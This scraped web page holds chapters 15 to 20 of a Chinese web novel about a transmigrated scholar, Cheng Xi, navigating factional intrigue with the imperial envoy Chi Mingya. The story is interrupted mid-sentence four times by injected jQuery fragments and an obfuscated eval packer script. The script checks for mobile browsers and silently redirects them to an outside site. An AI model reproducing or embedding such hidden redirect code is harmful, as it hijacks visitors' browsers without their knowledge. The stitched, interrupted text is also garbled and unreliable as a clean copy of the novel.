$(''.inform'').remove(); $(''#content'').append('' 不必这么了解。 和赵陆贫嘴了一番后,程曦才说道:“好啦好啦,别说兄弟瞒着你,如果没有更好的选择,我还真的会为钱折腰,去给这家伙当三年老妈子,但是我现在有其他选择了。” 赵陆好奇又有分寸:“什么选择?能说吗?不能的话就算了。” 程曦说道:“不仅能说,还需要你帮忙打听。” 赵陆打起了精神:“什么人这么有牌面,连需要帮忙打听这种话都让你说出来了?” 程曦敲敲桌子:“想听就赶紧倒茶啊!有没有眼力见。” 赵陆无语:“这是你家!我是客人!”说着还是动手给程曦倒了茶:“我真是欠你的!” “我们县里来的这个钦差,是昭明十七年的状元池明崖,师从刑部尚书杨阁老。” “我知道我知道,据说他差点就成了严阁老的乘龙快婿,不知道怎么闹翻了,转头就成了杨阁老的亲传弟子,传奇人物啊!”赵陆的八卦热情点燃了:“怎么,是他要外放了,所以邀请你?” “你比我还敢想……”程曦不知道要不要感谢好友对自己的信心:“他说杨阁老师弟的儿子中了二甲进士,要外放,想让我过去当他师弟的师爷。” “杨阁老的师弟可不少,也不知道是哪一个?”赵陆说着。 “这一榜榜上有名,二甲,没考上庶吉士,亲爹是杨阁老师弟,大概率是杨阁老同党中人且在京城,可能和秦国公府有过节,消息都给你了,赶紧帮忙打听一下。” “你可真是不客气啊!”赵陆吐槽着,答应道:“我回去就让我哥还有我大舅哥他们给你打听,先把这回进士名单搞过来。” 赵陆大哥是驿站的差役,大舅哥是行商,消息一项灵通。 “好兄弟!”程曦锤了一下赵陆的肩膀,悄咪咪地和赵陆说:“别说兄弟没想着你,杨阁老预计也会过来查落水案,到时候秦国公府和福建巡抚大概率都会牵扯进去,你让咱大哥和大舅哥避开点,别被迁怒或者牵连了。” 赵陆连连点头,又补充问道:“秦国公府中人来的时候,我让我哥请假?还有别去福建?” 程曦点头:“最近没事就在家里呆着,别嘴馋跑出去吃什么小馄饨、生煎、酒酿圆子、菜包饭。” 赵陆吸溜了一把口水,感觉馋了,但是也明白了:这把杨阁老算计秦国公府,程曦看好杨阁老一方能赢,甚至还给人家出谋划策了。 “你这就决定投靠杨阁老了?”赵陆有点担心地问道:“靠谱吗?杨阁老和池明崖这些人,心眼子至少八百个,你别到时候被他们给算计了。” “什么投靠不投靠的?”程曦笑道:“我们这属于暂时性的战略合作关系,好处不给够,谁给他们干一辈子啊?” 打工人,打工魂,打工人是人上人!程曦想着:公司什么的,都是跳板,没听说打工人不跳槽的,不然放着几千两银子不要,是对杨阁老和池明崖爱得深沉不成? 赵陆看程曦一副心里有数的样子,知道自己脑子玩不过他,也不多替他担忧:“我就是多问一句……” “说!”程曦一挥手。 “我真馋了,能从明天开始在家待着吗?今天去县里吃个够?”赵陆可怜巴巴地说道。 程曦深吸一口气:“你个吃货!” 16. 第 16 章 尽管程曦盖章定论说赵陆是个吃货,但是想也知道,能够玩到一起的两人,又有多大的差别? 程曦唯一的努力也就是打消赵陆吃小馄饨的想法,为了达成这一目的,程曦说服赵陆首先来到了最饱肚子的水婆婆酒酿小圆子摊位。 所以,当程曦和赵陆在酒酿摊旁碰到池明崖,也就不那么意外了……不是,池明崖一个钦差,不怕有人想要暗害自己,还跑出来小吃摊吃小吃,这真的正常吗? 程曦整个人都是无语的。 看到便装的池明崖,程曦一时把握不准他想要别人用什么态度对待他,是要尊称他大人,还是不要暴露他身份,于是试探道:“池大……” 故意话说得有点慢,给池明崖留下充足的打断时间。 “程贤弟!”果然,不想要暴露身份池明崖立马见到朋友的样子过来说:“几日不见,程贤弟近况可好?” 程曦不知道池明崖葫芦里卖的是什么药,按理说,他不应该这么热情啊? 不解的程曦照常回复道:“多谢池大哥关心,愚弟这两日很好。”大前天才见过的,没必要这样哇兄弟!你这样搞得我很慌,总觉得你在算计我什么。程曦心想。 不说出池明崖的名字,是为了防止暴露出来,于是明崖兄也改成了池大哥,正好和刚刚的“池大”对应起来,但是这事程曦肯定不会瞒着赵陆,免得他说出一些不该说的话,于是程曦回答完之后,还不忘给两人介绍。 “这是我的同窗赵陆赵恭民举人,”程曦说完,又对着赵陆说道:“这位就是我和你提到过的,前几天和我一见如故相谈甚欢的池兄。” 古人介绍的时候有一个讲究,就是要先向位尊者介绍位卑者,这样才是对于尊者的尊敬,所以赵陆一听到程曦的话,就知道这个池兄的地位在自己之上。 姓池,地位在自己之上,程曦这已经不是暗示了,几乎是明牌,赵陆能考上举人的智商,自然不会傻到不明白,当即一拱手,恭敬道:“池兄。” 池明崖颔首为礼,不忘恭维一句:“赵贤弟和程贤弟一样,年少有为啊。” 赵陆的脸皮还是比不过程曦,程曦听到年少有为,眉毛都不动一下,自认为自己完全当得起这份夸赞,但是赵陆的脸都红了,连忙说道:“不敢当,不敢当,池兄这般说,真是愧铩愚弟了。” 毕竟,不说池明崖二十多岁已经是五品官员了,就说他当年在赵陆这个年纪,已经是状元了,而赵陆虽然已经中举,在普通人面前算是青年才俊,但是和池明崖这种天纵奇才比起来,又怎么敢说是年少有为呢? 被池明崖一句话搞害羞的赵陆转眼就看到了自家兄弟程曦一脸:没错!我就是这么厉害!算你有眼光! 赵陆瞬间不知道说啥好了:程曦你可真自信啊! 程曦当然很自信,毕竟按照程曦的水平,她也不差,当不了状元,还当不了进士吗? 更何况,程曦自认为自己一直是个理科生,作为一个理科生,能和这群文科生同台竞技,难道自己不厉害吗?有本事让池明崖分析一下酒酿摊的热能转化、豆花形成过程中的化学反应以及酒酿发酵的微生物作用啊?! 程曦:我就是这么一个文理兼修干啥都行的完美的人! 池明崖也观察到了程曦的自信,啼笑皆非,不由想起了老师杨阁老刚刚快马传来的信。 这时候池明崖也不得不感慨,自家老师真的是人老成精,明明还没见过程曦,就已经能够通过他的做法、文风揣测出他性格的七八分了。 池明崖收到的是杨阁老小儿子代写的信,其中详细说明了杨阁老教子的内容,也就是两人关于如何收服程曦这样的人的讨论。 当时,杨阁老的小儿子分析,程曦从小就眼见宗族的不法事迹,所以对于秩序应该没有很敬畏,只会对于权利追逐,所以要收服程曦,应该给他权力,但是也要想办法让其他的手下可以限制他的权力。 当即杨阁老就摇头了:“程曦这种人,给他权力并限制,他并不会感激,只会记得你一直提防他。” 杨阁老小儿子听到亲爹的话,思考了一下,又回答说:“那就是要对他施恩,让他感激,同时暗地里让人监视他,不要被他发现。” “先不提怎么才能不被这种谋士发现,我只问你,你打算怎么施恩呢?”杨阁老问道。 “事无巨细,关切到位,帮他解决宗族难题,关照好他工作生活各个方面?”小儿子试探问。 杨阁老还是摇头:“不需要,他自己又生存能力,不会被你一点小恩小惠打动。” 看到儿子苦思冥想依然没有答案,杨阁老最终教导道:“我以前一直教你们,说大恩如大仇,轻易不要给别人施予过大的恩情,但是这次我要告诉你,如果我想收服程曦,我一定会给他一个大恩。” 小儿子露出了不解的目光。 杨阁老解释道:“对于这种人来说,他们是不会在意普通的恩情的,能报的随手报,不能报的就无所谓,毕竟他没求着你帮他。” “但是当恩情如海,他们就不能忽视了。” “那岂不是要救命之恩?”小儿子不解:“这种恩情能那么容易产生吗?” 杨阁老摇头:“汉昭烈帝曾经对诸葛亮说:若嗣子可辅,辅之,如其不才,君可自取。你觉得这是不是大恩?” “这……”小儿子一时语塞,又忍不住说道:“这程曦又不能和诸葛武侯相比!” “不能相比,但是人性是类似的。”杨阁老说道:“世人歌颂两人君臣相宜,但是你读书,不能只读正面,想当官,所有的情况你都要揣摩清楚。” “譬如这段对话,”杨阁老没有深说,而是给儿子自己领会:“你觉得汉昭烈帝说这段话,和不说这段话,会有什么不同的影响?” 小儿子记下了父亲布置的功课,追问道:“如果是父亲您,您会怎么收服程曦?” 杨阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15385446|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老一笑:“我会给他他最想要的。” “他最想要的?” 杨阁老点头:“因为身体不好不能参加科举,一身才华无法施展只能当人幕僚,如果给他个机会让他能够进入官场呢?” 小儿子陷入了沉思。 言语难以形容池明崖看到信件内容时候的震撼:果然像杨阁老这种地位的人,对于他们人心的揣摹已经到了登封化极的阶段了吗? 也就是程曦没有看到信件的内容,不然程曦当场就能告诉杨阁老:我最想要的不是什么当官施展才华!我最想要的是沙发外卖玩游戏、炸鸡奶茶快乐水啊! 如果这些都没有,那么让我当一下皇帝,也不是不行……毕竟天子在左,疯子在右,我在中间,我是天子~ 不太意外程曦的自信,池明崖能够比较平常心地看待他的举动,还不忘回复赵陆:“赵贤弟实在是太谦虚了。” 说完,池明崖继续说道:“愚兄近日刚来县里,听说有不少经年小摊上的吃食广受好评,正好一个人吃不了太多品类,如果两位贤弟不嫌弃,不知能不能陪愚兄一起探访一番这街头巷尾的美食?” “不嫌弃,不嫌弃!”赵陆摆手道。 就在池明崖以为这件事情就这么愉快地决定的时候,程曦回答道:“我觉得不太好。” ??? 池明崖和赵陆都不可思议地看向了程曦。 程曦是真的挺嫌弃的,毕竟自己虽然出了刘老汉的主意,帮着池明崖栽赃秦国公府,但是这不代表程曦想要参与进去啊! 池明崖突然对小吃摊感兴趣,程曦用脚趾头想,都能知道他是因为刘老汉,这种情况下,程曦能想要去掺合吗?别一个不注意,成了给他们背锅的人! 这还只是其中一个不能说出口的理由,另外的理由程曦就直接说了:“池兄这次来县里,应该有不少正事,池兄客气一下,我们怎么能耽误池兄的时间呢?” 程曦嫌弃地想:你有空来小吃摊,你倒是赶紧把贵嫂的案子给我结了啊! 池明崖突然有点笑不出来:这程曦这么没有眼色吗?别人真心还是客气你听不出来? 怀疑自己真的没听出来的赵陆不管池明崖的真实想法,严格遵循抱兄弟大腿的原则,立马说道:“曦哥儿说的是,刚刚是我不懂事了,池兄还是赶紧忙正事要紧,有空可以让人把小吃送到池兄下榻的府邸,这样也能两全。” 程曦立马赞许道:“还是恭民贴心,择日不如撞日,嘿,小孩!找几个你的朋友来帮忙跑个腿!” 池明崖确定了:这家伙绝对是故意的!他就是不想沾惹刘老汉的案子! 程曦靠近池明崖,呼吸喷在他耳边,悄声说道:“明崖兄,我要是和你一起高调出现在那么多地方,还怎么取信砚秋墨秋他们啊?你说是这个道理不?” 池明崖微微一笑:“可是贤弟,那两人已经被抓起来了啊。” 程曦:“啊?!” 17. 第 17 章 程曦整个人都是懵的。 话说,今天来到这个小吃摊,也没有听说刘老汉有失踪啊?怎么砚秋和墨秋就被抓起来了? 池明崖微微一笑,小声说道:“准确地说,因为两人形迹可疑,在我们审问可能涉案的人员时被举报,所以我们请他们回衙门配合调查了。” 赵陆看着在咬耳朵的两个人,不由环视一圈,发现周边没人注意他们,才松了一口气:这两人靠地也太近了点,一看就是在密谋什么,还好边上人没有注意。 浑然不觉的两人还在说悄悄话。 程曦问道:“那还有人想念刘老汉的馄饨吗?” 池明崖理所当然地说道:“当然啊,民以食为天。” “既然如此,那贤弟请客,明崖兄可不要推迟。”程曦说道。 池明崖再次微微一笑,想着站起来和程曦一起过去的时候,就听到程曦招手继续招呼小孩:“这串铜板拿好!给我们买三碗馄饨、十二个生煎,还有三块绿豆糕和一盘盐水毛豆,剩下的铜板就归你们了!” 池明崖怎么也没想到,自己说了这么多,程曦还是决定让小孩跑腿买东西! 愣了一瞬,池明崖忽然对程曦更加有兴趣了:这个程曦看起来不是什么稳重的人,却意外地谨慎啊! 程曦根本没有看池明崖的脸色,而是盯着孩子王跑上前来。 程曦算了算,这么多东西至少需要三个小孩跑腿,跑腿结束之后,根据数量,人均能够拿到两到三个铜板,这可是一笔大钱了,小孩肯定不会不愿意。 事实证明,儿童的心算口算能力自古以来就比很多成年人厉害,为首的小孩算了算,发现还有十文的利润,立马答应了下来。 盘算着,孩子头还布置任务:“铁蛋你去家里拿碗买馄饨,除了馄饨钱之外分你三文,柱子你去买生煎,花儿你去买绿豆糕,给你们两一人两文!” “老大,你应该拿大头!你拿四文,我拿两文就好了!”铁蛋连忙说道。 孩子头否决:“”我已经拿了三文!而且盐水毛豆买的是自己家的,其实赚得不少。” 听到小孩的话,池明崖有点感叹地说:“这几个小孩的算术都挺不错,这么小的孩子就已经算得这么快,看来是早就被送去了学堂?” 程曦好笑:“这里是江南,前段时间朝中诸公不是还在争论给北方和南部学子分配固定名额是不是对全国考生不公平吗?这个全国考生,也就是江南、两湖和蜀地吧?” “长江沿岸自古以来文风盛,江南更是其魁首,如今看来,连幼童都能计算百位以内的算术,名不虚传啊。”池明崖感叹道。 程曦微微一笑。 说起来,池明崖能这么快入了杨阁老的眼,未必没有他们都是家乡相近的原因。 不比江南官员因为人数众多还要按照府城区分,人数贫瘠的地方,隔壁省份也是老乡。 这其实是官场上不得不正视的一个现象,就是现今的党争很多情况下是基于乡党。 在认识池明崖之前,程曦并没有考虑过杨阁老这一派,最主要的原因就是这一派的人员除了师生关系之外,主要也是北方的乡党。 但是尴尬地是,程曦所在家乡的党派理念非常不得程曦认同,且和二伯也有千丝万缕的关系,所以程曦只能尽量靠拢并消除二伯的影响,却不能直接加入其中成为肱骨。 人总不能为了升官加职就违背精神内核吧?程曦想着。 在这方面,程曦的底线非常清晰。 如果献祭一个族长可以当官,程曦不允许他见到第二天的太阳,如果坑一个池明崖能够升职,程曦动手完全不带犹豫,但是如果说要违背自己在现代多年形成的价值观,程曦觉得也不是没有别的办法。 人总不能为了功名利禄委屈了自己。 “就算是江南向学之心盛行,也比不过池兄连中三元。”赵陆知道程曦微笑就是不打算说话,适时接过话头,恭维池明崖道:“池兄对于经义的理解,实在让愚弟叹服。” 赵陆说这话的时候,周围桌子上坐的人都已经吃完离开了,于是只是压低了声音,没有刻意回避。 池明崖也跟着社交性谦虚:“哪里哪里,愚兄能够获得这番成绩,都是圣上和各位大人抬爱,受之有愧,受之有愧啊。” 可不是受之有愧吗?毕竟当初池明崖能够当状元,还是因为杨阁老等人提前扯出来的分配名额公平之争,皇帝才点了他的状元,给一名蜀地学子榜眼、一名江南学子探花。 程曦只能说,不管什么层次,都要面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403737|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对如何分猪肉才能让所有人满意的死亡问题。 想到这里,程曦忽然意识到:会不会池明崖之前就和杨阁老等人有所联系,所以在拒婚之后才会飞快成为杨阁老的爱徒?那么之前池明崖靠近另一党派的举动,是不是打算探听对方的消息呢? 这群朝堂上的人人均心眼子八百个,还时不时有灵光一闪的神来之笔,程曦表示实在是太复杂,一时半会儿想不透,但——太让人向往了。 生活一潭死水有什么意思?就是要与人斗才其乐无穷啊! 这时候周围也陆续坐下了其他客人,赵陆自然而然地把话题引向了科举方面的问题,和池明崖来回说了起来。 不过一小会儿的功夫,小孩哥已经组织小弟们跑腿送来了东西。 程曦笑着说道:“池兄想来没尝过这些,先请。” 池明崖拿起筷子:“那愚兄就不客气了。” 说完,池明崖伸手直接夹起了小馄饨,用程曦都佩服的筷子功力把馄饨松紧了嘴里。 “这混沌饱满多汁,里面的肉丸还微微弹牙,汤汁也很鲜,实在是妙品!” 边上的小孩哥立马一挺胸膛:“可不是!刘爷爷的馄饨最好吃了!好多人去买,有些人一天吃不到都觉得不舒服呢!” 看着垂髫小童脸上骄傲的样子,池明崖逗他:“有些人里面有没有你呢?” 小孩哥吸溜一下口水,叹气道:“我爹娘不给我天天买,等我好好读书,考上状元,以后每天都吃刘爷爷的馄饨!” 说完,小孩哥还看了眼婆婆,连忙一碗水端平:“还有婆婆的酒酿!” 程曦好笑:“可是你要是考上状元,就要去京城里生活了,还怎么买馄饨和酒酿?” “啊?”闻言的小孩哥有点无措,但是也知道京城距离很远,犹豫半天挠头道:“那要不考个举人算了?” 周围人闻言大笑:“小才子,我们可等着你中举了!” “举人算了?咱们江南的举人,可比那北方的进士还难呢!” “要不怎么说投胎重要呢?这一届的状元又是北方人!这北蛮子阁老……”有人边说边摇头。 程曦忍不住看向对方,又看了眼池明崖:兄弟,你知道北蛮子阁老的亲传弟子就坐在你身后吗? 18. 第 18 章 程曦看着池明崖的脸色,发现他听到“北蛮子”都毫不变色,内心有一种果然如此的感慨:要不怎么能年纪轻轻就穿上红袍呢?这池明崖的养气功夫确实了得。 被人指着鼻子骂也能面不改色,甚至看不出有什么怒气,偏偏又有毫不费力就能碾死骂自己这群人的能力,这时候还能淡然处之没有脾气,池明崖这家伙能成大事!程曦在内心断定。 事实上,池明崖能成大事这个论断根本不需要程曦提出,就看他现在亨通的官运,都知道不会差。 但是不管池明崖能有多厉害,程曦也不会陪他去吃小馄饨,甚至内心还会中二地想:我和小馄饨,是你这辈子也没办法同时碰到的!谁都别想坑到我! 这时候后面的人还在嘀咕杨阁老平日里如何用江南的税收帮扶他老家,赵陆听着已经觉得有点坐立难安,池明崖却仿佛没听到一样,问程曦:“说起来,这次春闱的取士结果我也知道一二,程贤弟和赵贤弟有什么亲属好友赶考吗?或许我知道一二。” 事实上何止知道一二,这次春闱,池明崖也参与进去了。 “这怎么好意思呢?”程曦笑嘻嘻地说道:“这里实在太吵了,不合适说这些事情,不如……” 就在池明崖和赵陆都以为她要客气客气请客换个清静的地方的时候,程曦对着池明崖说:“不如池兄回家把名单默写一份,让小厮直接送给我们?” 被人指名道姓骂都面不改色的池明崖没忍住笑了一声,生动地演示了什么叫做人在无语的时候真的会笑出声。 好家伙,你可真不客气啊! 池明崖却不是那种温润如玉的真正君子,自然不会如程曦所愿,不过真的君子也很难左右逢源爬上这个位置,所以程曦对于池明崖会说什么,早就有心理准备。 但是程曦怎么也想不到,池明崖会说:“确实,还是把名单全部给你们更好,只是我过来没带什么小厮,书童年纪又小,办事不够靠谱,不如我直接去程贤弟家中,把名单写出来吧?” “寒舍简陋,实在是不适合招待池兄。”程曦下意识就是拒绝。 “在贤弟眼里,愚兄是那种会看家资交朋友的人吗?”池明崖立刻回答,意思就是他不在乎程曦家里是否简陋:“莫不是程贤弟其实是嫌弃愚兄?” 程曦差点露出了奇怪的表情:不是,池明崖你…… 赵陆整个人在边上,看着两人风起云涌的氛围,恨不得自己就这么消失不见:厚脸皮的人见到一个就够了,见到两个旗鼓相当的,我作为被牵扯进来的人真的很无辜啊! 程曦真的不理解,只能皮笑肉不笑地对着池明崖说:“这还有案子在审理当中,池兄突然去我家,不怕被告一个徇私舞弊?” 程曦的这个理由其实非常充分,自己上门拜访是一回事,毕竟讼师也会经常拜访主官和师爷们,但是主官自己跑到讼师家中,那就不是一回事了,性质完全不一样。 一个可以说主官是因为案件和公务接待讼师,另一个则一定会被认定有私交。 赵陆在一旁不敢随便插嘴,程曦想着要不要建议说去官衙看池明崖写? 池明崖却淡然说道:“正好要结案,本官决定去走访调查一下情况,要去程家庄,麻烦程秀才给本官引路。” 程曦:……你可真行! 几人吃完了小吃,把碗还给了跑腿的小孩,而后程曦就做出一副引路的样子,领着池明崖去了程家庄。 “池大人要先去族长家中吗?”程曦换了称呼。 池明崖听到程曦的称呼,不由好笑,心里感慨终究还是不到二十岁的少年人,这种时候也会沉不住气。 这么想着,池明崖还有空想,让师叔给师弟配备一个沉稳但是不算出色的钱粮师爷,和程曦配合,应该能帮着师弟渡过难关。 脑子里思考的时候,池明崖也没耽误回复程曦:“不忙,我先问问村口的村民。” 程曦一言难尽地看着池明崖走到村口聚集的村民中,开始和大家搭话:不是,兄弟,你看看你的样子,一看就是厉害的读书人,我们族里的人就算没见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15408519|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,也不会把你当做可以八卦的人选啊! 你要搞深入基层群众路线,你好歹装一装平民气质啊! 不出程曦所料,因为气质过于突出,在池明崖询问的时候,虽然没有遭受什么阻碍,大家都对他客客气气,但是也没人和他说什么交心的话。 听到是问贵嫂的事情,一个个都只说表面上的判断,公说公有理、婆说婆有理,就是没人敢说这可能是族长的算计——毕竟谁知道他是不是和族长一窝的呢? 程曦吐槽的时候,池明崖却连连点头,仿佛大家说的信息对他有非常大的帮助,直到族长听到通风报信,带着儿子赶过来的时候,池明崖还在听村口老大爷说贵嫂和程贵当年与他们兄弟妯娌怎么闹僵。 族长过来,看到池明崖,连忙下跪道:“草民程文见过大人。” 族长这一跪,算是惊动了所有人,大家纷纷惊讶地看了眼池明崖,然后连忙跪下。 一时之间,只有见官免跪有功名的程曦和赵陆还站着,其他人都跪倒了一片,族长的额头更是紧贴着地面。 看到这幅场景,程曦不由心潮澎湃:若不是现在科举搜身要脱光,自己高低要去考个进士出来!人生在世,就应该勇攀权力巅峰才对!醒掌天下权根本不是男人的特权! 池明崖这时候作出了非常平易近人的模样,连忙扶起族长,对着众人说:“免礼,免礼,各位老乡快快请起。” 别人可能没办法看明白,但是因为站着众揽全局的程曦和赵陆对视一眼,都忍不住憋笑:池明崖这坏家伙,硬是等族长磕头磕下去,别人还没磕头的时候喊得免礼,不早不晚,说他不是故意的,程曦和赵陆都不信。 想想也是,毕竟二伯辅助的福建巡抚和他们是政敌,现在党争动不动就到你死我活的地步了,池明崖还不能动点小点子让二伯的亲爹给自己磕头了? 如果是福建巡抚的亲爹,池明崖敢这样做,高低要被参一本,但是让政敌幕僚没功名的亲爹磕头,合情合理合法,还能让自己心情愉悦,哪里不好呢? 19. 第 19 章 政敌这种生物是什么样的存在?那就是只看看你过得不开心,我就开心了。 当然,也不乏有所谓的朋友分别站在不同的政治立场,但是大虞如今党争激烈,这么说吧,今天池明崖敢和敌对党派交朋友,明天他就会被怀疑是不是投靠了对方。 别说什么池明崖拒婚的时候已经得罪了对方政党的大佬,没有用,你敢交往,就是背叛! 所以如今就算是原先的朋友,在加入不同的政党之后,也相当于是割袍断义,哪怕私底下有来往,明面上也决不能被发现,不然两人都要玩完。 在这种情况下,池明崖不待见族长,也是很正常的事情。 族长可能也明白这件事情,在这两天已经和程曦的二伯通气过了,所以在看到池明崖的时候才大礼参拜,只求不要被他挑出毛病来。 不然以族长地头蛇自居和背后有人的傲气,程曦可不觉得他会行礼行得这么扎实。 “不知道池大人您过来,有失远迎,怠慢之处还望见谅。”族长爬起来之后说道。 池明崖也自然是用着社交辞令:“是本官突兀到来,何谈怠慢?” 族长自然是知道这个道理,但是族长更知道,和有权力的人是不能讲理的,于是依然赔笑问道:“不知道池大人过来是有什么事情?” 池明崖笑道:“这不是要审理你们族里的案子吗?我想着说来走访一下族中的老人,看看平日里这两人的风评。” 古代判案,风评是非常重要的。 现代也不能说完全没有影响,恶习满满的人和交口称赞的人,现代判刑都可能会酌情,更何况古代?这可是一个足够孝顺就能感动皇帝让他赦免刑罚的朝代啊! 听到池明崖的话,族长的大儿子没忍住环顾一圈。 单说风评,程流这种小混混怎么也比不过贵嫂这个立了“情比金坚”人设的寡妇,只看族人们到底是怎么和池明崖说的。 虽然族长表面上是站在中立端的,但是他们是真的希望判决不要偏向贵嫂——毕竟如果这样判了,自己等人的谋划要怎么办? 这时候族长也颇为后悔,族长只想着到时候上堂,安排什么人、怎么说,不都是自己说了算吗?万万没想到池明崖还会偷偷来问。 官员们不是坐在高堂之上就好了吗?连五品官的师爷都不一定会跑到乡里,你一个五品京官怎么不按理出牌啊? 事实上只是灵机一动的池明崖收获了很多,想着以后可以把这种行为作为惯例,对查案肯定有很好的作用。 “既然大人您要听,我让族里的族老们来和您说说?”族长说道。 族老都是站在族长这边的,因为程氏宗族,不是年纪足够大就能够当族老,还要“推举”,曾经让刚穿来的程曦见识到了一把什么叫做“明规则”。 池明崖虽然没有担任地方官的经验,但是未必不知道这个道理,闻言只是笑笑:“本官已经了解地差不多了,程族长不必麻烦。” 听到池明崖这话,族长暗叫不好,只能邀请道:“既然已经确定地差不多,大人是否去草民家中歇歇脚?” 池明崖闻言拒绝道:“路上碰到赵举人和程秀才,他们好心帮我带路过来,我听闻他们有同窗好友今年参加科举,已经答应了他们待会儿帮他们把春闱名单写出来,就不多叨扰程族长了。” 族长一听,程秀才可能不止程曦一个人,比如族长的次子也是秀才,但是如果和赵举人放在一起,那必然是站在边上的程曦无疑了。 听到池明崖这话,族长就是眼前一黑:池明崖居然和程曦联系上了,谁知道程曦能干出什么事情啊? 族长扪心自问,自己罪不至此啊! 族长也不明白自己究竟是怎么得罪了程曦。 按理说,除了要给他过继儿子之外,也没什么事情啊?就算过继儿子,也是在程曦总是和自己对着干之后,族长怼天发誓,自己一开始的时候是想着要拉拢程曦的,是他油盐不进还唱反调,自己才搞出来过继这件事情的! 如果程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411953|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曦听到这话,只能说,人总是在美化自己做过的事情。 你平时在族中作威作福,得罪你姑奶奶的地方多着呢好吧?! 此时,池明崖用程曦为借口拒绝族长的邀请后,就打算迈步直接去程曦家。 少族长恨不得把程曦瞪出一个孔,程曦丝毫不惧地回视他。 族长吃了这么多年盐,虽然比不上年轻人吃的饭多,但是也算是人老成精,连忙对着池明崖说:“池大人不如到我们族学当中写下高中的老爷们的姓名?也是激励我们族中学子勤奋向学。” 虽然族学不能算族长全权掌控的地盘,但是对于族长来说,用族学理由正当,而且不管怎么说都比让池明崖去程曦家里好。 这关系要是被程曦拉上了,族长怀疑自己要永无宁日了。 池明崖闻言,可谓是欣然应允,一行人也就这么去了族学,就连在村口唠嗑八卦的村民都跟了上来。 在族长和池明崖说话的时候,村民都打听过了,这可是状元!状元要去族学激励学生、默写春闱名单,这种几十年难得一遇的热闹,不去凑一凑对得起自己吗? 于是,一群人浩浩荡荡地取到了族学中。 一进族学的大门,族长还没来得及让人请夫子和学生过来拜见池明崖,就听到了哭声一片,小孩子们的声音简直要吵翻天。 “这是怎么了?”所有人都很不解。 “怕不是被夫子打手板了吧?”有人猜测。 这种情况,也别指望别人来接了,众人都跟着族长和池明崖直接往里面走。 走进课堂上,众人发现出于意料的是,夫子手上并没有任何戒尺,也就是说夫子没有打手板。 如果没有打手板,这群小孩子为什么哭得这么难过啊?众人疑惑不解。 只见夫子看到程曦之后,眼神都亮了,迎接上来就说:“曦哥儿,你的办法还真有用!这群皮猴子算是碰到对手了!” 族长差点一个踉跄:不是,程曦这家伙又干了啥啊?! 20. 第 20 章 众人的目光都投向了程曦。 程曦并没有感受到多大的压力,对着夫子说道:“有用就好,您也可以少操一点心了。” 众八卦群众将目光投向了程族长。 族长不负众望,开口问夫子道:“发生了什么,用了程曦什么办法?” 夫子闻言对着族长解释道:“前段时间,我在族学里发现一些不太好的现象。” “这群孩子不知道哪里学的,说什么讲义气,结果我布置了作文,课业写得慢地说是做不完,让写得快的人替他们写,还说什么好兄弟都是应该的,我是骂也骂过了,罚也罚过了,非要讲究兄弟义气,不肯交代清楚。” “这群孩子怎么这么不懂事呢?” “我说孩子怎么最近睡得都早了,我还以为他描红变快了,结果是抄别人的?” “这事夫子您是怎么发现的?”有人问道。 “每个人的行文习惯不同,虽然大部分孩子都谈不上什么文风,但是有个别比较明显的,我一看就看出来了,”夫子解释道:“但是我看出来了,那几个孩子还死活不承认,前段时间气得我饭都吃不下。” 夫子这么一说,大家都感同身受,孩子们有时候确实是非常气人的。 “还好程曦教给我一个办法,”夫子说道:“程曦说,出现怀疑的,就说明对方能够帮别人写,所以每天的课业量还是不饱和,给他课业翻倍。” “对于怀疑抄写的,既然能写完,那么也可以加课业,看看他的底线。”夫子解释道:“两类人课业都增加的情况下,学得好的也来不及做同学的文章了,自然就能看出差别来。” 听到夫子这话,众人连连点头,都觉得程曦这个主意很有道理,大家课业都做不完,看谁还能抄。 “这办法虽然治本,但是对于孩子们的错误行为并没有进行惩罚,而且我也没办法知道哪些孩子是抄的哪些是执笔的,所以程曦又给我出了第二个主意。” 第二个主意?众人的胃口都被吊起来了。 